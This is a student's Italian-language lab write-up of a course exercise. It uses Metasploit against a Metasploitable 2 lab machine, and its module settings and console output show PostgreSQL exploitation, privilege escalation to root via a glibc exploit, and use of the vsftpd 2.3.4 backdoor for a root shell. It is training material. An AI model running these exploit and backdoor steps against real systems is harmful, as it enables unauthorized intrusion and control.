UNIT2 S7/L3 - Priv esc + Backdoor meta
Usa il modulo exploit/linux/postgres/postgres_payload per sfruttare una vulnerabilità nel servizio PostgreSQL di Metasploitable 2. Esegui l'exploit per ottenere una sessione Meterpreter sul sistema target.
Escalation di privilegi e backdoor:
● Una volta ottenuta la sessione Meterpreter, il tuo compito è eseguire un'escalation di privilegi per passare da un utente limitato a root utilizzando solo i mezzi forniti da msfconsole.
● Esegui il comando getuid per verificare l'identità dell'utente corrente.

Bonus
● Usa il modulo post di msfconsole per identificare potenziali vulnerabilità locali che possono essere sfruttate per l'escalation di privilegi.
● Esegui l'exploit proposti e verifica ogni vulnerabilità trovata dal modulo sopracitato.
● Per ogni vulnerabilità test l'escalation di privilegi eseguendo nuovamente getuid o tentando di eseguire un comando che richiede privilegi di root.
● sempre usando msfconsole installa una backdoor e dimostra che puoi accedere ad essa in un momento successivo.

ESERCIZIO:
kali: 192.168.50.3
meta: 192.168.50.18

dopo il classico avvio con “msfconsole” uso il modulo “exploit/linux/postgres/postgres_payload” settando come rhost l’ip della meta e lhost l’ip della kali, e quando parte la sessione sono utente semplice postgress

a questo punto esco da questa sessione e post/multi/recon/local_exploit_suggester e seleziono nelle options la sessione numero 1 e a questo punto la lista di exploit suggeriti sarà la seguente.

PAYLOAD: linux/x86/meterpreter/reverse_tcp

1 exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
2 exploit/linux/local/glibc_origin_expansion_priv_esc
3 exploit/linux/local/netfilter_priv_esc_ipv4
4 exploit/linux/local/ptrace_sudo_token_priv_esc
5 exploit/linux/local/su_login
6 exploit/linux/persistence/autostart
7 exploit/multi/persistence/cron
8 exploit/unix/local/setuid_nmap

Provando a usare il primo della lista, selezionando la sessione 1 come quella da utilizzare per l’exploit e modificando il payload scrivendo “ linux/x86/meterpreter/reverse_tcp “ è stato possibile creare una sessione in cui diventavo root (in questo caso la numero 3)

```
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set session 1
session => 1
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run
[*] Started reverse TCP handler on 192.168.50.3:4444
[*] Sending stage (1062760 bytes) to 192.168.50.18
[*] Meterpreter session 2 opened (192.168.50.3:4444 → 192.168.50.18:53190) at 2025-11-05 08:55:52 -0500
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.1ba6o7NCI' (1279 bytes) ...
[*] Writing '/tmp/.D2tYQSmXb' (291 bytes) ...
[*] Writing '/tmp/.ZPZDwJ0c2l' (207 bytes) ...
[*] Launching exploit ...
[*] Sending stage (1062760 bytes) to 192.168.50.18
[*] Meterpreter session 3 opened (192.168.50.3:4444 → 192.168.50.18:53191) at 2025-11-05 08:55:57 -0500

meterpreter > getuid
Server username: postgres
meterpreter >
Background session 2? [y/N]
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > session -l
[-] Unknown command: session. Did you mean sessions? Run the help command for more details.
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > sessions -l

Active sessions
===============

  Id  Name  Type                   Information                          Connection
  --  ----  ----                   -----------                          ----------
  1         meterpreter x86/linux  postgres @ metasploitable.localdomain  192.168.50.3:4444 → 192.168.50.18:40095 (192.168.50.18)
  2         meterpreter x86/linux  postgres @ metasploitable.localdomain  192.168.50.3:4444 → 192.168.50.18:53190 (192.168.50.18)
  3         meterpreter x86/linux  root @ metasploitable.localdomain      192.168.50.3:4444 → 192.168.50.18:53191 (192.168.50.18)

msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > session 3
[-] Unknown command: session. Did you mean sessions? Run the help command for more details.
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > sessions 3
[*] Starting interaction with 3 ...

meterpreter > getuid
Server username: root
meterpreter >
```

per trovare una backdoor faccio vari tentativi. utilizzo la funzione “search backdoor” e sfoglio tra la lista. Dopo svariati tentativi falliti utilizzo:
use exploit/unix/ftp/vsftpd_234_backdoor
in cui devo lasciare il payload di default

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.50.18:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.50.18:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) > set payload  linux/x86/meterpreter/reverse_tcp
[-] The value specified for payload is not valid.
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.50.18:21 - The port used by the backdoor bind listener is already open
[+] 192.168.50.18:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.3:45295 → 192.168.50.18:6200) at 2025-11-05 09:45:46 -0500

ls -la
total 101
drwxr-xr-x  22 root root  4096 Nov  3 18:54 .
drwxr-xr-x  22 root root  4096 Nov  3 18:54 ..
-rw-r--r--   1 root root     0 Oct 21 12:17 Dx=:f3×4
```

non mi trova subito una sessione e poi ad un certo punto apre una backdoor sulla porta 6200 della meta

faccio una versione upgradata della shell per cui creo una seconda sessione e tramite nmap verifico che la porta 6200 è ancora aperta

```
meterpreter >
Background session 2? [y/N]
msf exploit(unix/ftp/vsftpd_234_backdoor) > sessions -l

Active sessions
===============

  Id  Name  Type                   Information                       Connection
  --  ----  ----                   -----------                       ----------
  1         shell cmd/unix                                           192.168.50.3:45295 → 192.168.50.18:6200 (192.168.50.18)
  2         meterpreter x86/linux  root @ metasploitable.localdomain  192.168.50.3:4433 → 192.168.50.18:56117 (192.168.50.18)

msf exploit(unix/ftp/vsftpd_234_backdoor) >
```

```
kali@kali: ~
Session  Actions  Edit  View  Help
┌──(kali㉿kali)-[~]
└─$ nmap -sV -p 6200 192.168.50.18
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-05 09:55 EST
Stats: 0:01:56 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 0.00% done
Nmap scan report for 192.168.50.18 (192.168.50.18)
Host is up (0.0042s latency).

PORT     STATE SERVICE VERSION
6200/tcp open  lm-x?
MAC Address: 08:00:27:69:C7:7F (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 158.61 seconds
```

infine provo ad avviare lo stesso comando spegnendo e riaccendendo la meta. Da spenta ovviamente manda in timeout la backdoor mentre alla riaccensione ho la lista completa

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > sessions -l

Active sessions
===============

  Id  Name  Type                   Information                       Connection
  --  ----  ----                   -----------                       ----------
  1         shell cmd/unix                                           192.168.50.3:45295 → 192.168.50.18:6200 (192.168.50.18)
  2         meterpreter x86/linux  root @ metasploitable.localdomain  192.168.50.3:4433 → 192.168.50.18:56117 (192.168.50.18)

msf exploit(unix/ftp/vsftpd_234_backdoor) > sessions 2
[*] Starting interaction with 2 ...

meterpreter > ls -la
[-] Send timed out. Timeout currently 15 seconds, you can configure this with sessions --interact <id> --timeout <value>
meterpreter > ls -la
Listing: /
==========

Mode              Size     Type  Last modified              Name
----              ----     ----  -------------              ----
100644/rw-r--r--  0        fil   2025-10-21 13:17:26 -0400  Dx=:f3×4
040755/rwxr-xr-x  4096     dir   2012-05-13 23:35:33 -0400  bin
040755/rwxr-xr-x  1024     dir   2012-05-13 23:36:28 -0400  boot
100700/rwx------  207      fil   2025-11-03 18:54:20 -0500  bwKxAqg
040755/rwxr-xr-x  4096     dir   2010-03-16 18:55:51 -0400  cdrom
040755/rwxr-xr-x  13540    dir   2025-11-05 10:08:46 -0500  dev
040755/rwxr-xr-x  4096     dir   2025-11-05 10:07:51 -0500  etc
040755/rwxr-xr-x  4096     dir   2010-04-16 02:16:02 -0400  home
040755/rwxr-xr-x  4096     dir   2010-03-16 18:57:40 -0400  initrd
100644/rw-r--r--  7929183  fil   2012-05-13 23:35:56 -0400  initrd.img
040755/rwxr-xr-x  4096     dir   2012-05-13 23:35:22 -0400  lib
040700/rwx------  16384    dir   2010-03-16 18:55:15 -0400  lost+found
040755/rwxr-xr-x  4096     dir   2010-03-16 18:55:52 -0400  media
```